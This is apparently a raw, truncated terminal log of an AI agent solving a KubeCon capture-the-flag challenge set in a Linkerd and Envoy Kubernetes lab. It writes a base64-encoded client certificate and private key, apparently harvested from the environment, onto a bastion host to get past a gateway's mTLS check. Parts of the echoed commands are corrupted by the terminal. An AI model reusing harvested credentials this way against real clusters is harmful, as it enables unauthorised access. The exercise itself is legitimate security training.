wSm5RazFLUm5WeFJ6QjFORTlrZVdwTmR6aENhMmd6UWxKbk5HMHhlVWhIYkdsbVkxbHZOM0UyYldoUGNDdDZWazkzZFZSRENqZExhSE5aVUdNNWFuVkVNbEZMVG1OblJXVldTbnB6T1ZGNFZFNUtZbEZFYWxBNFZpOVdSRzlpTTFOUldIVjJNakJZUkRVMlJGQmpUWGN6Y2xKUGFWWUtWRmxSVUhGb2NWVjNZMnRVTnpsVkwwbDBSMFZGV0hSaFMyOTRiVFZvVG1RelN6UTVXV2hTWlhjeVpXUjNZakJwUjFWR1NqY3ljamxCYjBkQ1FVcEpWZ3AyTDNoeWVWVm9lalphV200d1JVRkZjV2hQUkZCbE5XMDJSSGRvY1ZSUWR6VjVNMGxTTm1JMGNYRklhR3hSYjFaeVl6bFNPRFV4VVVoVk0wTlpSU3R5Q21wNVFqSkljVEJ2VWxGWmJraE5jMHBFV2tWclFXNWlWVmhRVWsxR1pGcHRWSFpYVUdseFYycFJUREEzVVU1UWVtcEdjMk5RTVdwRmNXeG5SMlZHTTNvS1VuSnZWMkV2TTJoYWVVMWlZbUZCZEhWc2JEQmxWRTFHZGpoa2JHd3ljRFZWZG5GcVptSllRa0Z2UjBKQlQwTm1Zek50VEdNMFFsQldka3c1V1ZkaldBcFRTRzgyY1ZRelMwbHVjak5wY2toMlEyNXFhMjUzTDFsa1ptSTNURkY1ZG5GamFFa3JNalU1UkV4QmJubFJPRXhqSzJjemJFZEthVVl2UTJaek1ubDJDbFZ5VURNNVRrZ3hPWHBQU25GclYzSTJWalZtY21adE1sWlVXbmN3Y3pGcmJsZFZVMFJtVDBNd1Rsb3dVa3R4ZFUxU1UxZFNkbkZNVDNaeFVGaGljRGdLV1dkMmJXazJXbkEyWnpscE1uWXdWRlJQYVVkME4zaHdDaTB0TFMwdFJVNUVJRkJTU1ZaQlZFVWdTMFZaTFMwdExTMEsiCndpdGggb3BlbigiL3RtcC9jLmNydCIsICJ3YiIpIGFzIGY6CiAgICBmLndyaXRlKGJhc2U2NC5iNjRkZWNvZGUoY2VydF9iNjQpKQp3aXRoIG9wZW4oIi90bXAvYy5rZXkiLCAid2IiKSBhcyBmOgogICAgZi53cml0ZShiYXNlNjQuYjY0ZGVjb2RlKGtleV9iNjQpKQpwcmludCgiRmlsZXMgd3JpdHRlbiBzdWNjZXNzZnVsbHkiKQppbXBvcnQgaGFzaGxpYgpjZXJ0X2RhdGEgPSBiYXNlNjQuYjY0ZGVjb2RlKGNlcnRfYjY0KQprZXlfZGF0YSA9IGJhc2U2NC5iNjRkZWNvZGUoa2V5X2I2NCkKcHJpbnQoZiJjZXJ0IG1kNToge2hhc2hsaWIubWQ1KGNlcnRfZGF0YSkuaGV4ZGlnZXN0KCl9IikKcHJpbnQoZiJrZXkgbWQ1OiB7aGFzaGxpYi5tZDUoa2V5X2RhdGEpLmhleGRpZ2VzdCgpfSIpCg==' | base64 -d | python3
echo 'aW1wb3J0IGJhc2U2NApjZXJ0X2I2NCA9ICJMUzB0TFMxQ1JVZEpUaUJEUlZKVVNVWkpRMEZVUlMwdExTMHRDazFKU1VSSFJFTkRRV2REWjBGM1NVSkJaMGxWUjA5SlRFcE9XU3R0ZG1oQ1FUaE1ZbUpQTTJ3NGVXUXJZbWx2ZDBSUldVcExiMXBKYUhaalRrRlJSVXdLUWxGQmQweEVSVlZOUWtsSFFURlZSVU5uZDB4VVIyeDFZVEpXZVZwRE1VUldSVmw0UmtSQlUwSm5UbFpDUVUxTlF6QjRjR0p0ZEd4amJWRjBVVEZTUndwTlFqUllSRlJKTWsxRVNYaFBSRUUwVGxSbmVrNVdiMWhFVkUweVRVUkplRTVxUVRST1ZHZDZUbFp2ZDBoRVJXRk5RbWRIUVRGVlJVRjNkMUpVUjJ4MUNtRXlWbmxhUlU1ellWZFdkV1JHVm5wYVdFbDNaMmRGYVUxQk1FZERVM0ZIVTBsaU0wUlJSVUpCVVZWQlFUUkpRa1IzUVhkblowVkxRVzlKUWtGUlEzVUtLeTkwTVZKc1EyRlRhME5uVm5aeU1EUmxkWEZNWmt0WU5rVnFlREZEVm5aWVVYSnBkSFpZWjJSb0wyWTRabFJPUVZsdWFIQnVVRE54TkVKQ1RsSlNXUXA0V1VWTFdEUkJTaXRwWTFaTVRrWnZWekJFYUhwNlVVcHpha3RKWTFsb1kyUlNNWGxpU1Vabk9ITlNjbFpLZDBWa2FEVnNiV1JTUkZKUE5sa3ZiVzFaQ2pKblQwWjZNV05yUTNsdWIwVnNNR3QzTTBzemJ6TkdTSGRXTDJkdk5XeFVSM1JoZVU1Tk5Hc3hWVkkxTlVsYU5qaDFXR1JPVWs1R1UxcHpTR3RxVTJvS1NTOVNjREpSVTNKV2NuZERXa05xUlVoMk5uSldlbTFYZGpGdmFGSXdNVFkxVFV4eGNXWlVkblJETlZwS016ZzVNRk5sVXpCbmFGWjFjMjltYTNjNU5RcHFUSEJwTkhKc2VGVmllR1pwVGtac1dVTTFORkEyU1ZkSk9IY3ZVbk12TjJsSVdWWnZhVXhpV0ZSWk9YTkRkVVI0VG5aQmNVcFZaM0JzZDBoMVlYWXJDalJ0YlRsakwzcHRkVVEySzJ0RFZDOHJUamh5UVdkTlFrRkJSMnBSYWtKQlRVSXdSMEV4VldSRVoxRlhRa0pVTjJ4TGNtVnFaSGgzUTNVeGNIcENhWE1LWVROTlZFaG9lR0Z0VkVGbVFtZE9Wa2hUVFVWSFJFRlhaMEpTWTFka2EwSTBUVVpTTUZwNmFGSkZXalJvTTBzNVdVa3ZOMWg2UVU1Q1oydHhhR3RwUndvNWR6QkNRVkZ6UmtGQlQwTkJVVVZCVUd3eGFEbFlVRmc1V214MVZuWnZkRGhMYm5ZMlEwYzFkbEJYVUZob1NuQTRlSFZ6U2tSVFFtNVdkM0EzVVdrekNqZEhjeTlTYmk5dVNVNVRNbGMyV1RkUU55ODVZak12UTJsMU5FRTJjakV2Y3poUE9HSldZakJNZEZWNlRXTm9TR2hzUWxwc1YyZ3JPRXRVY1M5YWVHSUtVMjloVW05cFlVMWhjVWxSWW1WWVVXeHRabEVyVHk5d1EyeHBNVmxuWTJwbE5VOWtjSFptSzBKVFNHbzVjM2RhVjNaTk9WRm5hbFZVVkVFeFRtSnRWd28xVVdoRGRrZE9VVzFKTlhad2JWRndiMWh6UjA1RU1XNXpTVXRzY1dGNWVsWnlNbHAzTDFCcFRuQTRjblF3YlRGakwwdGpSalpzY1ZaVmVXMVlPRVpKQ2pCS01sZEtRMDloTjNCT1pHTnpiekl4WnpjdlpIVmtXV0oyTUhsU1dXdG5VREZRVWtOT1UxaHVORTFzVTB0NWFHOUhNRloxZEVOUGNEaEVlVzg1UlZJS1EwNUdVbUpYU1Uwd1pGSjVNVU0yV0N0Q1VuQnFiek5OZFZGS1UyeFJaVnBuWTFKT1puYzlQUW90TFMwdExVVk9SQ0JEUlZKVVNVWkpRMEZVUlMwdExTMHRDZz09IgprZXlfYjY0ID0gIkxTMHRMUzFDUlVkSlRpQlFVa2xXUVZSRklFdEZXUzB0TFMwdENrMUpTVVYyWjBsQ1FVUkJUa0puYTNGb2EybEhPWGN3UWtGUlJVWkJRVk5EUWt0bmQyZG5VMnRCWjBWQlFXOUpRa0ZSUTNVckwzUXhVbXhEWVZOclEyY0tWblp5TURSbGRYRk1aa3RZTmtWcWVERkRWblpZVVhKcGRIWllaMlJvTDJZNFpsUk9RVmx1YUhCdVVETnhORUpDVGxKU1dYaFpSVXRZTkVGS0sybGpWZ3BNVGtadlZ6QkVhSHA2VVVwemFrdEpZMWxvWTJSU01YbGlTVVpuT0hOU2NsWktkMFZrYURWc2JXUlNSRkpQTmxrdmJXMVpNbWRQUm5veFkydERlVzV2Q2tWc01HdDNNMHN6YnpOR1NIZFdMMmR2Tld4VVIzUmhlVTVOTkdzeFZWSTFOVWxhTmpoMVdHUk9VazVHVTFwelNHdHFVMnBKTDFKd01sRlRjbFp5ZDBNS1drTnFSVWgyTm5KV2VtMVhkakZ2YUZJd01UWTFUVXh4Y1daVWRuUkROVnBLTXpnNU1GTmxVekJuYUZaMWMyOW1hM2M1TldwTWNHazBjbXg0VldKNFpncHBUa1pzV1VNMU5GQTJTVmRKT0hjdlVuTXZOMmxJV1ZadmFVeGlXRlJaT1hORGRVUjRUblpCY1VwVlozQnNkMGgxWVhZck5HMXRPV012ZW0xMVJEWXJDbXREVkM4clRqaHlRV2ROUWtGQlJVTm5aMFZCUTJwSk56TjBRbGRtUnpFNGVqRnpRMHBXZFdOMlpHWmlhMUJSVVdaQ1EwVTVaV1psWWxaQ1VtbHhkamtLTUVWd2NrSkNPRmt4U1VkcE5UTnFWbTh2WTFJeFRtcExTMGxuZEhGWFkzSllkMnB0ZFZWWFZYaGxRak13UkVSVVRuQlhPVnA1T1c1RGNXNVlTV0p1WkFwU01YWkxXVVp1UjJOMGVGb3hiVzFvWkZwTmRHbDZka1owTDI1NU9WbDJieTlCVWpWSWNFWktlRTFYV25WM1dHSnNUVkJPVWxZM1VubFlSbHBrYjJ3NENtWmlkSGxoUmtzd2RXWTNUMGtyY2xoa1RrNWhlblFyU0hSUVptWnNjSFJhVWtoNGR5OVhVMmw2T0hsbGRWQjVRVE52WVdFdmJIQlhiMjF1WTBNMlZUUUtaWHBKYnpaaWFVeEVXRmd5S3pnd2JsYzJiRkk0Vm5aUWEwZGFMMUIxWTJsTWEzYzNlbmhKYkRORFpVMXRWR3hDUjI5aGVtbFNhR000WWtSWUszQmlPQXBXUjBKWGQzWTNWREpGTWs0elNFazFRbXhDVGxOT1lXZHljMFp1ZUVGMGRGcHlhVVJOZVV0UlZWRkxRbWRSUkdscFVXOVNNWEpJYkhkUE1tRnJSRzVvQ2lzMU9WcEZUVnBsUkc5TVNrMVNOSGtyYVVveWNHWTFWM1ozUjFsRWFWRnJOWFJNYzNGa1ZXWk9NMkV3U1M5Wk5GUlRZVXRuVEZrcmJDczJaQ3RLV0hNS0x6ZHBORTlZYmt0RlNHdFplRTlTWWsxaGNVMWpOR0paYWxWVFUyOW1PRzlEVGxwR2MxQnphRmgxVmtSUlRGSnlMMGhvVjA5bkszWmxRMjFXZWt4UFN3b3laMWhqY2tkTVVtZGhVRW8wWVdJMVVVZzJXbkJYU2pCV1VVdENaMUZFUm5adVNXcEdha2xHV210eVdGVktUVlJyV2tSTVVqWnVOR0ZXZVRnMFZIWllDbWcyZHpsTFlubFNNbXBGTVZoT1prdDNha3d3Y1ZrelpUSXdSazB3VEV4R1YyRjBNbTk0Y2tGUU5IWldOM1V3YkZGVlYzVkNLMDFMUjI0dk1rVkxTMlFLVm1aMGJ6VlhMMGwyY21wM1VHdEdhMUpxYUVGbmMwMTVPREZQVWxFd1NscHJXV3d5Um1wTFNHSnNhRmx5UzNjMEwzWlRlbTFhUVhsM1UyZHlaekJ6U3dwa
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo 'aW1wb3J0IGJhc2U2NApjZXJ0X2I2NCA9ICJMUzB0TFMxxQ1JVZEpUaUJEUlZKVVNVWkpRMEZVUlMwdExTMHRDazFKU1VSSFJFTkRRV2REWjBGM1NVSkJaMGxWUjA55SlRFcE9XU3R0ZG1oQ1FUaE1ZbUpQTTJ3NGVXUXJZbWx2ZDBSUldVcExiMXBKYUhaalRrRlJSVXdLUWxGGQmQweEVSVlZOUWtsSFFURlZSVU5uZDB4VVIyeDFZVEpXZVZwRE1VUldSVmw0UmtSQlUwSm5UbFpDUVUxxTlF6QjRjR0p0ZEd4amJWRjBVVEZTUndwTlFqUllSRlJKTWsxRVNYaFBSRUUwVGxSbmVrNVdiMWhFVkUwweVRVUkplRTVxUVRST1ZHZDZUbFp2ZDBoRVJXRk5RbWRIUVRGVlJVRjNkMUpVUjJ4MUNtRXlWbmxhUlU11ellWZFdkV1JHVm5wYVdFbDNaMmRGYVUxQk1FZERVM0ZIVTBsaU0wUlJSVUpCVVZWQlFUUkpRa1IzUVhkkblowVkxRVzlKUWtGUlEzV
Thinking
$ Bash
Write cert/key using Python string concatenation to avoid TTY issues
# Write the cert as a file to be SCP'd or piped
# Use a simpler approach - write the cert/key via SSH stdin, line by line
ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g'
python3 -c "
import base64,urllib.request,ssl
# Write cert
c='LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURHRENDQWdDZ0F3SUJBZ0lVR09JTEpOWSttdmhCQThMYmJPM2w4eWQrYmlvd0RRWUpLb1pJaHZjTkFRRUwKQlFBd0xERVVNQklHQTFVRUNnd0xUR2x1YTJWeVpDMURWRVl4RkRBU0JnTlZCQU1NQzB4cGJtdGxjbVF0UTFSRwpNQjRYRFRJMk1ESXhPREE0TlRnek5Wb1hEVE0yTURJeE5qQTROVGd6TlZvd0hERWFNQmdHQTFVRUF3d1JUR2x1CmEyVnlaRU5zYVdWdWRGVnpaWEl3Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR3QXdnZ0VLQW9JQkFRQ3UK'
c+='Ky90MVJsQ2FTa0NnVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWQp4WUVLWDRBSitpY1ZMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZCjJnT0Z6MWNrQ3lub0VsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2oK'
c+='SS9ScDJRU3JWcndDWkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NQpqTHBpNHJseFVieGZpTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrCjRtbTljL3ptdUQ2K2tDVC8rTjhyQWdNQkFBR2pRakJBTUIwR0ExVWREZ1FXQkJUN2xLcmVqZHh3Q3UxcHpCaXMK'
c+='YTNNVEhoeGFtVEFmQmdOVkhTTUVHREFXZ0JSY1dka0I0TUZSMFp6aFJFWjRoM0s1WUkvN1h6QU5CZ2txaGtpRwo5dzBCQVFzRkFBT0NBUUVBUGwxaDlYUFg5Wmx1VnZvdDhLbnY2Q0c1dlBXUFhoSnA4eHVzSkRTQm5Wd3A3UWkzCjdHcy9Sbi9uSU5TMlc2WTdQNy85YjMvQ2l1NEE2cjEvczhPOGJWYjBMdFV6TWNoSGhsQlpsV2grOEtUcS9aeGIK'
c+='U29hUm9pYU1hcUlRYmVYUWxtZlErTy9wQ2xpMVlnY2plNU9kcHZmK0JTSGo5c3daV3ZNOVFnalVUVEExTmJtVwo1UWhDdkdOUW1JNXZwbVFwb1hzR05EMW5zSUtscWF5elZyMlp3L1BpTnA4cnQwbTFjL0tjRjZscVZVeW1YOEZJCjBKMldKQ09hN3BOZGNzbzIxZzcvZHVkWWJ2MHlSWWtnUDFQUkNOU1huNE1sU0t5aG9HMFZ1dENPcDhEeW85RVIKQ05GUmJXSU0wZFJ5MUM2WCtCUnBqbzNNdVFKU2xRZVpnY1JOZnc9PQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg=='
open('/tmp/c.crt','wb').write(base64.b64decode(c))
# Write key
k='LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUV2Z0lCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQktnd2dnU2tBZ0VBQW9JQkFRQ3UrL3QxUmxDYVNrQ2cK'
k+='VnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWXhZRUtYNEFKK2ljVgpMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZMmdPRnoxY2tDeW5vCkVsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2pJL1JwMlFTclZyd0MK'
k+='WkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NWpMcGk0cmx4VWJ4ZgppTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrNG1tOWMvem11RDYrCmtDVC8rTjhyQWdNQkFBRUNnZ0VBQ2pJNzN0QldmRzE4ejFzQ0pWdWN2ZGZia1BRUWZCQ0U5ZWZlYlZCUmlxdjkK'
k+='MEVwckJCOFkxSUdpNTNqVm8vY1IxTmpLS0lndHFXY3JYd2ptdVVXVXhlQjMwRERUTnBXOVp5OW5DcW5YSWJuZApSMXZLWUZuR2N0eFoxbW1oZFpNdGl6dkZ0L255OVl2by9BUjVIcEZKeE1XWnV3WGJsTVBOUlY3UnlYRlpkb2w4CmZidHlhRkswdWY3T0krclhkTk5henQrSHRQZmZscHRaUkh4dy9XU2l6OHlldVB5QTNvYWEvbHBXb21uY0M2VTQK'
k+='ZXpJbzZiaUxEWFgyKzgwblc2bFI4VnZQa0daL1B1Y2lMa3c3enhJbDNDZU1tVGxCR29hemlSaGM4YkRYK3BiOApWR0JXd3Y3VDJFMk4zSEk1QmxCTlNOYWdyc0ZueEF0dFpyaURNeUtRVVFLQmdRRGlpUW9SMXJIbHdPMmFrRG5oCis1OVpFTVplRG9MSk1SNHkraUoycGY1V3Z3R1lEaVFrNXRMc3FkVWZOM2EwSS9ZNFRTYUtnTFkrbCs2ZCtKWHMK'
k+='LzdpNE9YbktFSGtZeE9SYk1hcU1jNGJZalVTU29mOG9DTlpGc1BzaFh1VkRRTFJyL0hoV09nK3ZlQ21WekxPSwoyZ1hjckdMUmdhUEo0YWI1UUg2WnBXSjBWUUtCZ1FERnZuSWpGaklGWmtyWFVKTVRrWkRMUjZuNGFWeTg0VHZYCmg2dzlLYnlSMmpFMVhOZkt3akwwcVkzZTIwRk0wTExGV2F0Mm94ckFQNHZWN3UwbFFVV3VCK01LR24vMkVLS2QK'
k+='VmZ0bzVXL0l2cmp3UGtGa1JqaEFnc015ODFPUlEwSlprWWwyRmpLSGJsaFlyS3c0L3ZTem1aQXl3U2dyZzBzSwphT1FFcisyRmZ3S0JnQk1KRnVxRzB1NE9keWpNdzhCa2gzQlJnNG0xeUhHbGlmY1lvN3E2bWhPcCt6Vk93dVRDCjdLaHNZUGM5anVEMlFLTmNnRWVWSnpzOVF4VE5KYlFEalA4Vi9WRG9iM1NRWHV2MjBYRDU2RFBjTXczclJPaVYK'
k+='VFlRUHFocVV3Y2tUNzlVL0l0R0VFWHRhS294bTVoTmQzSzQ5WWhSZXcyZWR3YjBpR1VGSjcycjlBb0dCQUpJVgp2L3hyeVVoejZaWm4wRUFFcWhPRFBlNW02RHdocVRQdzV5M0lSNmI0cXFIaGxRb1ZyYzlSODUxUUhVM0NZRStyCmp5QjJIcTBvUlFZbkhNc0pEWkVrQW5iVVhQUk1GZFptVHZXUGlxV2pRTDA3UU5QempGc2NQMWpFcWxnR2VGM3oK'
k+='UnJvV2EvM2haeU1iYmFBdHVsbDBlVE1GdjhkbGwycDVVdnFqZmJYQkFvR0JBT0NmYzNtTGM0QlBWdkw5WVdjWApTSG82cVQzS0lucjNpckh2Q25qa253L1lkZmI3TFF5dnFjaEkrMjU5RExBbnlROExjK2czbEdKaUYvQ2ZzMnl2ClVyUDM5TkgxOXpPSnFrV3I2VjVmcmZtMlZUWncwczFrbldVU0RmT0MwTlowUktxdU1SU1dSdnFMT3ZxUFhicDgKWWd2bWk2WnA2ZzlpMnYwVFRPaUd0N3hwCi0tLS0tRU5EIFBSSVZBVEUgS0VZLS0tLS0K'
open('/tmp/c.key','wb').write(base64.b64decode(k))
print('OK')
import hashlib
print(hashlib.md5(open('/tmp/c.crt','rb').read()).hexdigest())
print(hashlib.md5(open('/tmp/c.key','rb').read()).hexdigest())
"
exit
SSHEOF
_  _  _  ____  ____  _  _  _   _  _    __         __   ____   __   _  _  _  _  ____  
( \/ \/ )(  __)/ ___)/ )( \(_) (  ( \  / _\  ___  / _\ (  _ \ /  \ / )( \(  ( \(  _ \ 
 )    (   ) _) \___ \) __ ( )( /    / ( (_ \(___)/    \ )   /( () )) \/ (/    / )(_) )
(_/\/\_) (____)(____/\_)(_/(__)\_)__)  \__/      \_/\_/(_)\_) \__/ \____/\_)__)(____/

Welcome to KubeCon EU 2026!
Operation: Shadow Mesh (Amsterdam Edition)

Welkom, Operators! The target is locked inside a strict Linkerd Service Mesh, with perimeters tighter than Amsterdam's bike lanes at rush hour.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Hint: Know Your Turf > Your privileges vary by neighborhood. This will be crucial across the entire operation, so it's highly recommended to keep these two commands distinct:
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

To begin your heist, knock on the front door of the Envoy Gateway IP

export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
curl -k https://$GWIP

The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.

Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.

python3 -c "
import base64,urllib.request,ssl
# Write cert
c='LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURHRENDQWdDZ0F3SUJBZ0lVR09JTEpOWSttdmhCQThMYmJPM2w4eWQrYmlvd0RRWUpLb1pJaHZjTkFRRUwKQlFBd0xERVVNQklHQTFVRUNnd0xUR2x1YTJWeVpDMURWRVl4RkRBU0JnTlZCQU1NQzB4cGJtdGxjbVF0UTFSRwpNQjRYRFRJMk1ESXhPREE0TlRnek5Wb1hEVE0yTURJeE5qQTROVGd6TlZvd0hERWFNQmdHQTFVRUF3d1JUR2x1CmEyVnlaRU5zYVdWdWRGVnpaWEl3Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR3QXdnZ0VLQW9JQkFRQ3UK'
c+='Ky90MVJsQ2FTa0NnVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWQp4WUVLWDRBSitpY1ZMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZCjJnT0Z6MWNrQ3lub0VsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2oK'
c+='SS9ScDJRU3JWcndDWkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NQpqTHBpNHJseFVieGZpTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrCjRtbTljL3ptdUQ2K2tDVC8rTjhyQWdNQkFBR2pRakJBTUIwR0ExVWREZ1FXQkJUN2xLcmVqZHh3Q3UxcHpCaXMK'
c+='YTNNVEhoeGFtVEFmQmdOVkhTTUVHREFXZ0JSY1dka0I0TUZSMFp6aFJFWjRoM0s1WUkvN1h6QU5CZ2txaGtpRwo5dzBCQVFzRkFBT0NBUUVBUGwxaDlYUFg5Wmx1VnZvdDhLbnY2Q0c1dlBXUFhoSnA4eHVzSkRTQm5Wd3A3UWkzCjdHcy9Sbi9uSU5TMlc2WTdQNy85YjMvQ2l1NEE2cjEvczhPOGJWYjBMdFV6TWNoSGhsQlpsV2grOEtUcS9aeGIK'
c+='U29hUm9pYU1hcUlRYmVYUWxtZlErTy9wQ2xpMVlnY2plNU9kcHZmK0JTSGo5c3daV3ZNOVFnalVUVEExTmJtVwo1UWhDdkdOUW1JNXZwbVFwb1hzR05EMW5zSUtscWF5elZyMlp3L1BpTnA4cnQwbTFjL0tjRjZscVZVeW1YOEZJCjBKMldKQ09hN3BOZGNzbzIxZzcvZHVkWWJ2MHlSWWtnUDFQUkNOU1huNE1sU0t5aG9HMFZ1dENPcDhEeW85RVIKQ05GUmJXSU0wZFJ5MUM2WCtCUnBqbzNNdVFKU2xRZVpnY1JOZnc9PQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg=='
open('/tmp/c.crt','wb').write(base64.b64decode(c))
# Write key
k='LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUV2Z0lCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQktnd2dnU2tBZ0VBQW9JQkFRQ3UrL3QxUmxDYVNrQ2cK'
k+='VnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWXhZRUtYNEFKK2ljVgpMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZMmdPRnoxY2tDeW5vCkVsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2pJL1JwMlFTclZyd0MK'
k+='WkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NWpMcGk0cmx4VWJ4ZgppTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrNG1tOWMvem11RDYrCmtDVC8rTjhyQWdNQkFBRUNnZ0VBQ2pJNzN0QldmRzE4ejFzQ0pWdWN2ZGZia1BRUWZCQ0U5ZWZlYlZCUmlxdjkK'
k+='MEVwckJCOFkxSUdpNTNqVm8vY1IxTmpLS0lndHFXY3JYd2ptdVVXVXhlQjMwRERUTnBXOVp5OW5DcW5YSWJuZApSMXZLWUZuR2N0eFoxbW1oZFpNdGl6dkZ0L255OVl2by9BUjVIcEZKeE1XWnV3WGJsTVBOUlY3UnlYRlpkb2w4CmZidHlhRkswdWY3T0krclhkTk5henQrSHRQZmZscHRaUkh4dy9XU2l6OHlldVB5QTNvYWEvbHBXb21uY0M2VTQK'
k+='ZXpJbzZiaUxEWFgyKzgwblc2bFI4VnZQa0daL1B1Y2lMa3c3enhJbDNDZU1tVGxCR29hemlSaGM4YkRYK3BiOApWR0JXd3Y3VDJFMk4zSEk1QmxCTlNOYWdyc0ZueEF0dFpyaURNeUtRVVFLQmdRRGlpUW9SMXJIbHdPMmFrRG5oCis1OVpFTVplRG9MSk1SNHkraUoycGY1V3Z3R1lEaVFrNXRMc3FkVWZOM2EwSS9ZNFRTYUtnTFkrbCs2ZCtKWHMK'
k+='LzdpNE9YbktFSGtZeE9SYk1hcU1jNGJZalVTU29mOG9DTlpGc1BzaFh1VkRRTFJyL0hoV09nK3ZlQ21WekxPSwoyZ1hjckdMUmdhUEo0YWI1UUg2WnBXSjBWUUtCZ1FERnZuSWpGaklGWmtyWFVKTVRrWkRMUjZuNGFWeTg0VHZYCmg2dzlLYnlSMmpFMVhOZkt3akwwcVkzZTIwRk0wTExGV2F0Mm94ckFQNHZWN3UwbFFVV3VCK01LR24vMkVLS2QK'
k+='VmZ0bzVXL0l2cmp3UGtGa1JqaEFnc015ODFPUlEwSlprWWwyRmpLSGJsaFlyS3c0L3ZTem1aQXl3U2dyZzBzSwphT1FFcisyRmZ3S0JnQk1KRnVxRzB1NE9keWpNdzhCa2gzQlJnNG0xeUhHbGlmY1lvN3E2bWhPcCt6Vk93dVRDCjdLaHNZUGM5anVEMlFLTmNnRWVWSnpzOVF4VE5KYlFEalA4Vi9WRG9iM1NRWHV2MjBYRDU2RFBjTXczclJPaVYK'
k+='VFlRUHFocVV3Y2tUNzlVL0l0R0VFWHRhS294bTVoTmQzSzQ5WWhSZXcyZWR3YjBpR1VGSjcycjlBb0dCQUpJVgp2L3hyeVVoejZaWm4wRUFFcWhPRFBlNW02RHdocVRQdzV5M0lSNmI0cXFIaGxRb1ZyYzlSODUxUUhVM0NZRStyCmp5QjJIcTBvUlFZbkhNc0pEWkVrQW5iVVhQUk1GZFptVHZXUGlxV2pRTDA3UU5QempGc2NQMWpFcWxnR2VGM3oK'
